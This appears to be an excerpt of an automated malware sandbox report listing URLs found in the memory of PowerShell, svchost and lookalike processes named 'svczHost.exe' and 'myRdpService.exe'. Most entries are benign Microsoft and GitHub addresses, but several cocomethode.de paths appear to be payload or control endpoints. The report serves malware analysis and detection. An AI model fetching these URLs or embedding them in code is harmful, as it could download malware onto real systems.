Source: powershell.exe, 00000009.00000002.474754978371.0000018ACFF5A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8A4ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000009.00000002.474754978371.0000018AD106F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000009.00000002.474754978371.0000018AD11F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8A19E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475600032739.0000019758090000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475600032739.00000197580F1000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475162023951.000001973FC6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000003.00000002.474636787839.000001C6CDF7C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.474863848487.000002BCC60BB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018ACFF5A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8A19E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475162023951.000001973FC6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlXz
Source: powershell.exe, 00000003.00000002.474636787839.000001C6CF0EE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.474636787839.000001C6CF0CE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018AD11C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018AD11F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlh
Source: myRdpService.exe	String found in binary or memory: http://www.gstatic.com/generate_204
Source: svczHost.exe, 00000018.00000002.476267701819.00000277BEF46000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204y
Source: powershell.exe, 00000009.00000002.474814907075.0000018AE80B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: svchost.exe, 00000015.00000002.476263968246.0000026EC747F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.w3.or
Source: svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.co
Source: svchost.exe, 00000015.00000003.474823026388.0000026EC7D50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476266792343.0000026EC7D51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com
Source: svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/InlineSignup.aspx?iww=1&id=80502
Source: svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/InlineSignup.aspx?iww=1&id=80502Bk0
Source: svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476266627867.0000026EC7D37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801077136.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601
Source: svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601E
Source: svchost.exe, 00000015.00000003.474801077136.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 00000015.00000003.474801077136.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 00000015.00000003.474801077136.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801077136.0000026EC7D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476266627867.0000026EC7D37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801077136.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 00000015.00000003.474823026388.0000026EC7D50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476266792343.0000026EC7D51000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 00000015.00000003.474823026388.0000026EC7D50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476263526128.0000026EC745E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476266627867.0000026EC7D37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476266792343.0000026EC7D51000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801077136.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801077136.0000026EC7D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/msangcwam
Source: powershell.exe, 0000000F.00000002.475773046858.0000023B9A9E8000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000018.00000002.476267701819.00000277BEF46000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000018.00000000.475101654108.00007FF699BCB000.00000002.00000001.01000000.0000000A.sdmp, svczHost.exe, 00000018.00000002.476279916819.00007FF699940000.00000004.00000001.01000000.0000000A.sdmp, myRdpService.exe	String found in binary or memory: https://aka.ms/GlobalizationInvariantMode
Source: powershell.exe, 0000000F.00000002.475773046858.0000023B9A9E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475773046858.0000023B9A274000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000018.00000002.476267701819.00000277BEF46000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000018.00000000.475101654108.00007FF699BCB000.00000002.00000001.01000000.0000000A.sdmp, svczHost.exe, 00000018.00000002.476267701819.00000277BE648000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000018.00000000.475101654108.00007FF699AB2000.00000002.00000001.01000000.0000000A.sdmp, svczHost.exe, 00000018.00000002.476280435269.00007FF699AB2000.00000002.00000001.01000000.0000000A.sdmp, svczHost.exe, 00000018.00000002.476279916819.00007FF699940000.00000004.00000001.01000000.0000000A.sdmp, myRdpService.exe, myRdpService.exe, 00000031.00000000.475710087221.00007FF759828000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://aka.ms/dotnet-warnings/
Source: svczHost.exe, myRdpService.exe	String found in binary or memory: https://aka.ms/nativeaot-c
Source: myRdpService.exe	String found in binary or memory: https://aka.ms/nativeaot-compatibility
Source: svczHost.exe, 00000018.00000000.475101654108.00007FF699BCB000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibilityY
Source: powershell.exe, 0000000F.00000002.475773046858.0000023B9A9E8000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000018.00000002.476267701819.00000277BEF46000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000018.00000000.475101654108.00007FF699BCB000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibilityy
Source: powershell.exe, 00000003.00000002.474636787839.000001C6CDD51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.474863848487.000002BCC5E91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018ACFCF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B89F71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475162023951.000001973FA41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000009.00000002.474754978371.0000018ACFF5A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474814601683.0000018AE7E10000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8AC2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000009.00000002.474754978371.0000018ACFF5A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8AC2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelpXz
Source: powershell.exe, 00000005.00000002.474863848487.000002BCC60BB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018ACFF5A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018AD0956000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8A341000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8B8DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de
Source: powershell.exe, 00000005.00000002.474863848487.000002BCC657A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.474863848487.000002BCC6B2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba12e5825a57507
Source: powershell.exe, 00000005.00000002.474863848487.000002BCC6285000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba1f376859e645b
Source: powershell.exe, 00000005.00000002.474863848487.000002BCC6285000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba2a217498ce7a0
Source: powershell.exe, 0000000F.00000002.475125287836.0000023B8A37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba5f06aeb112411
Source: svczHost.exe, 00000018.00000002.476264916297.00000277BDCA8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/StaticFile/RdpService/17
Source: powershell.exe, 00000005.00000002.474863848487.000002BCC60BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/fbJ5ex
Source: powershell.exe, 00000005.00000002.474863848487.000002BCC657A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/0581aba62a106ea04cdf6f3772592fc1199b70b957cfe082abf00cb9a2df1f568594743
Source: powershell.exe, 0000000F.00000002.475125287836.0000023B8A37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4
Source: powershell.exe, 0000000F.00000002.475125287836.0000023B89F71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8A19E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee518
Source: powershell.exe, 00000009.00000002.474754978371.0000018AD0956000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb247857
Source: powershell.exe, 00000005.00000002.474863848487.000002BCC6285000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62f
Source: powershell.exe, 00000005.00000002.474863848487.000002BCC6285000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.474863848487.000002BCC6520000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe976627
Source: powershell.exe, 00000005.00000002.474863848487.000002BCC6285000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11
Source: powershell.exe, 0000001C.00000002.475162023951.0000019740F3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000001C.00000002.475162023951.0000019740F3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000001C.00000002.475162023951.0000019740F3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: svczHost.exe, 00000018.00000002.476267701819.00000277BE648000.00000004.00001000.00020000.00000000.sdmp, myRdpService.exe, 00000031.00000000.475710087221.00007FF759828000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://github.com/MartinKuschnik/WmiLight
Source: powershell.exe, 00000009.00000002.474754978371.0000018AD11F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8A19E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475600032739.0000019758090000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475162023951.000001973FC6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.474636787839.000001C6CDF7C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.474863848487.000002BCC60BB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018ACFF5A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8A19E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475162023951.000001973FC6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/PesterXz
Source: powershell.exe, 00000003.00000002.474636787839.000001C6CF0EE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.474636787839.000001C6CF0CE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018AD11C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018AD11F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pesterh
Source: powershell.exe, 0000000F.00000002.475773046858.0000023B9A274000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000018.00000002.476267701819.00000277BE648000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000018.00000000.475101654108.00007FF699AB2000.00000002.00000001.01000000.0000000A.sdmp, svczHost.exe, 00000018.00000002.476280435269.00007FF699AB2000.00000002.00000001.01000000.0000000A.sdmp, myRdpService.exe, 00000031.00000000.475710087221.00007FF759828000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://github.com/dotnet/runtime
Source: powershell.exe, 00000009.00000002.474754978371.0000018AD0E4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018AD0B3C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475162023951.00000197403FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000009.00000002.474811709455.0000018AE7D4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microsoft.co
Source: svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://live.cpsecateDevg:DeeSer
Source: svchost.exe, 00000015.00000002.476263172002.0000026EC742A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.co
Source: svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srf
Source: svchost.exe, 00000015.00000002.476263526128.0000026EC745E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801476997.0000026EC7D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801639856.0000026EC7D0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
Source: svchost.exe, 00000015.00000002.476263526128.0000026EC745E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801697139.0000026EC7D0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801476997.0000026EC7D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801639856.0000026EC7D0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 00000015.00000002.476263526128.0000026EC745E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801697139.0000026EC7D0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801476997.0000026EC7D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801639856.0000026EC7D0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ListSessions.srf
Source: svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srf
Source: svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srf53457
Source: svchost.exe, 00000015.00000002.476263526128.0000026EC745E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srfn
Source: svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageLoginKeys.srf
Source: svchost.exe, 00000015.00000002.476263526128.0000026EC745E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476263968246.0000026EC74AD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476265141782.0000026EC74D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srf
Source: svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/didtou.srf
Source: svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getrealminfo.srf
Source: svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getuserrealm.srf
Source: svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 00000015.00000002.476263526128.0000026EC745E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801476997.0000026EC7D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 00000015.00000002.476263526128.0000026EC745E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 00000015.00000002.476265141782.0000026EC7502000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.s
Source: svchost.exe, 00000015.00000002.476263526128.0000026EC745E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801476997.0000026EC7D6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 00000015.00000002.476263526128.0000026EC745E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801476997.0000026EC7D6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
Source: svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srfrfrf6085fid=cplive.com
Source: svchost.exe, 00000015.00000002.476263526128.0000026EC745E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801476997.0000026EC7D6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
Source: svchost.exe, 00000015.00000002.476263526128.0000026EC745E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801697139.0000026EC7D0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801476997.0000026EC7D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801639856.0000026EC7D0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801077136.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
Source: svchost.exe, 00000015.00000002.476266627867.0000026EC7D37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineCoUTF-16r
Source: svchost.exe, 00000015.00000003.474823026388.0000026EC7D50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476266792343.0000026EC7D51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=806
Source: svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
Source: svchost.exe, 00000015.00000003.474801077136.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
Source: svchost.exe, 00000015.00000003.474801077136.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
